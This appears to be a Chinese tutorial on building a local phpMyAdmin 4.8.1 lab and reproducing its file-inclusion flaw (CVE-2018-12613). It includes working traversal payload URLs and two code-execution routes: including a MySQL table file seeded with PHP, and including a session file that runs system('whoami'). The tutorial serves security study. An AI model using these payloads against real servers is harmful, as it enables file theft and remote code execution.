当前位置: 首页 > news >正文

用PHPStudy搭建phpMyAdmin 4.8.1靶场,手把手复现那个经典的文件包含漏洞

从零构建phpMyAdmin 4.8.1漏洞实验环境:实战文件包含漏洞复现指南

在网络安全学习过程中,没有什么比亲手复现一个经典漏洞更能加深理解。phpMyAdmin 4.8.1的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全从业者的"启蒙漏洞"。本文将带你使用最常见的PHPStudy环境,完整搭建这个漏洞靶场,并通过三种不同的利用方式,让你彻底掌握文件包含漏洞的原理与实战技巧。

1. 实验环境准备与配置

1.1 工具与组件下载

首先需要准备以下软件包,建议从官方渠道获取:

  • PHPStudy 2018版(推荐版本:V8.1)
  • phpMyAdmin 4.8.1源码包
  • Windows 10/11操作系统

注意:不同版本的PHPStudy可能内置的PHP和MySQL版本不同,这会影响后续配置。我们推荐使用较旧的2018版本,因为它默认包含与漏洞兼容的PHP 5.x系列。

1.2 基础环境部署

安装PHPStudy后,按以下步骤初始化环境:

  1. 启动PHPStudy控制面板
  2. 选择"Apache 2.4" + "PHP 5.6"组合
  3. 点击"启动"按钮运行服务
  4. 解压phpMyAdmin 4.8.1到phpStudy\WWW目录
  5. 访问http://localhost/phpMyAdmin-4.8.1/验证安装

常见问题解决方案:

问题现象解决方法
页面空白检查PHP版本是否为5.x
MySQL连接失败确认MySQL服务已启动
缺少mbstring扩展在php.ini中取消注释extension=php_mbstring.dll

1.3 解决blowfish_secret配置错误

首次访问phpMyAdmin时,通常会遇到以下错误提示:

配置文件现在需要绝密的短语密码(blowfish_secret)

解决方法:

  1. 打开phpMyAdmin/libraries/config.default.php
  2. 找到$cfg['blowfish_secret']配置项
  3. 修改为任意32字符以上的字符串,例如:
$cfg['blowfish_secret'] = 'thisisasecretkeyforpma481testonly123';

2. 漏洞原理深度解析

2.1 文件包含漏洞的形成机制

phpMyAdmin 4.8.1的漏洞核心在于index.php中对target参数的处理不当。关键代码逻辑如下:

// index.php 51-64行 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }

这段代码表明,当满足五个条件时,系统会直接包含target参数指定的文件。其中最关键的是Core::checkPageValidity()函数的校验逻辑。

2.2 校验函数的绕过技巧

checkPageValidity()函数位于libraries/classes/Core.php中,其核心判断逻辑是:

function checkPageValidity(&$page) { if (isset($_whitelist) && in_array($page, $_whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $_whitelist)) { return true; } return false; }

要成功利用漏洞,需要构造特殊的payload满足以下任一条件:

  1. 直接在白名单中(几乎不可能)
  2. 问号前的部分在白名单中
  3. 双重URL解码后问号前的部分在白名单中

关键点:服务器会自动解码一次URL编码,urldecode()函数会再解码一次,因此需要双重编码问号字符(?%253f)。

3. 漏洞复现实战演练

3.1 任意文件包含攻击

这是最直接的利用方式,通过目录穿越读取系统任意文件:

  1. 在D盘创建测试文件test.txt,内容为"Hello Vuln World!"
  2. 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D/test.txt
  1. 页面将显示test.txt的内容

技巧:Windows系统不需要指定盘符(如D:),直接使用/../../结构即可。

3.2 数据库文件包含实现代码执行

更危险的利用方式是执行任意PHP代码:

  1. 在phpMyAdmin中创建新数据库test
  2. 执行SQL语句创建表并插入恶意代码:
CREATE TABLE `evil` (data LONGTEXT); INSERT INTO `evil` VALUES ('<?php phpinfo(); ?>');
  1. 查找数据库文件路径(通常在phpStudy/Extensions/MySQL/data/test/evil.MYD
  2. 构造payload访问:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test/evil.MYD
  1. 页面将显示phpinfo信息

3.3 通过Session文件执行代码

另一种巧妙的利用方式是包含phpMyAdmin的session文件:

  1. 在SQL面板执行:
SELECT "<?php system('whoami'); ?>"
  1. 在服务器上查找session文件(通常在phpStudy/Extensions/tmp/tmp/
  2. 构造payload包含session文件:
http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_[你的sessionID]
  1. 页面将显示当前Web服务的运行用户

4. 漏洞防御与学习延伸

4.1 漏洞修复方案

phpMyAdmin官方在后续版本中通过以下方式修复了此漏洞:

  1. 严格限制包含文件的路径
  2. 移除双重URL解码逻辑
  3. 加强白名单校验机制

升级到最新版phpMyAdmin是根本解决方案。

4.2 实验环境安全建议

在本地进行漏洞实验时,建议采取以下安全措施:

  • 使用虚拟机隔离实验环境
  • 实验结束后立即关闭PHPStudy服务
  • 不要将实验环境暴露在公网
  • 定期清理创建的测试数据库和文件

4.3 延伸学习资源

要深入理解文件包含漏洞,推荐研究以下相关漏洞:

  • LFI(Local File Inclusion)漏洞
  • RFI(Remote File Inclusion)漏洞
  • PHP伪协议利用技巧(php://filter等)
  • 日志文件包含攻击

在CTF比赛中,文件包含常与以下技术结合考察:

  • 路径遍历(../)
  • 编码绕过技巧
  • 文件上传漏洞组合利用
  • Session固定攻击
http://www.gsyq.cn/news/1459551.html

相关文章:

  • 如何在Android应用中快速集成WaveSideBar:3分钟实现波浪效果索引栏
  • 深入解析TeleChat2.5-35B架构设计:350亿参数的智能实现
  • 终极泰语文本生成模型:gpt2-base-thai如何彻底改变泰国NLP应用
  • 深度解析ZenTimings:AMD Ryzen平台内存时序监控关键技术
  • 2026永磁变频螺杆空压机厂家选型横评:资源禀赋与交付力深度解析指南 - 企师傅推荐官
  • GPT2_PMC-openmind:基于PubMed Central的医学问答AI模型完全指南
  • 如何用Mellum2-12B-A2.5B-Thinking实现69.9%代码通过率?LiveCodeBench实测
  • 小红书微信小程序数据采集工具包:mitmdump抓包+动态headers解析+去重CSV保存
  • 别再手动调参了!用OpenCV-Python的滑动条,5分钟搞定图片HSV/RGB阈值调试
  • 【科研党必收藏】2026年8月优质国际学术会议一览表 - 爱搞科研的小刘
  • 多机多卡训练Faster RCNN:超简单脚本实现64节点分布式训练(附性能数据)
  • OpenClaw深度解析:面向嵌入式AI的硬实时感知-执行中间件
  • 如何用PDF补丁丁一站式解决PDF编辑难题:从书签管理到文档优化的完整指南
  • 5个实用技巧:让WaveSideBar在你的App中发挥最大价值
  • 大模型版本号失效:从GPT-5.5看能力驱动的评估新范式
  • gelectra-large-germanquad-openmind与Transformers对比:为什么选择这个德语QA模型
  • 2026 年 6 月眉山防水维修机构甄选指南:卫生间免砸砖、屋顶阳台外墙地下室漏水检修与避坑全攻略 - 吉修匠
  • 抖音去水印教程:5大工具深度评测,新手必看指南 - 科技热点发布
  • 医用超声图像后处理:斑点噪声抑制算法详解
  • 3步搞定Windows PDF处理:Poppler预编译包让复杂任务变简单
  • DeepSeek-R1-Distill-Qwen-1.5B-FP16:终极AI推理模型入门指南
  • 国内冷轧板/镀锌板/锰钢板/电解板/热轧板/冷卷/镀锌卷加工厂实力排行榜:广东东莞达昌隆稳居榜首深度解析 - 变量人生001
  • 小程序毕设选题推荐:基于springboot+微信小程序的企业网络主机IP地址管理系统【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 2026黄金回收实测|广元本地5家正规门店对比,高位变现避坑指南 - 奢佳美黄金珠宝
  • 微信投票怎么发起?云众评选小程序实操全步骤 - 微信投票小程序
  • 计算机毕业设计之基于Python的豆瓣电影可视化系统的设计与实现-
  • PanGu Draw V3核心功能揭秘:从文本到惊艳图像的生成原理
  • 找剪辑素材不用愁!32 个好用剪辑素材网站合集!自学 创作党直接存,素材不用瞎找 - 拾光而行
  • 2026年6月热门的储能电站服务商推荐,大型光伏储能电站/农村光伏电站/新能源光伏电站,储能电站服务商推荐 - 品牌推荐师
  • 杭州源睿汽车服务:建德靠谱的中巴车租赁公司怎么联系 - LYL仔仔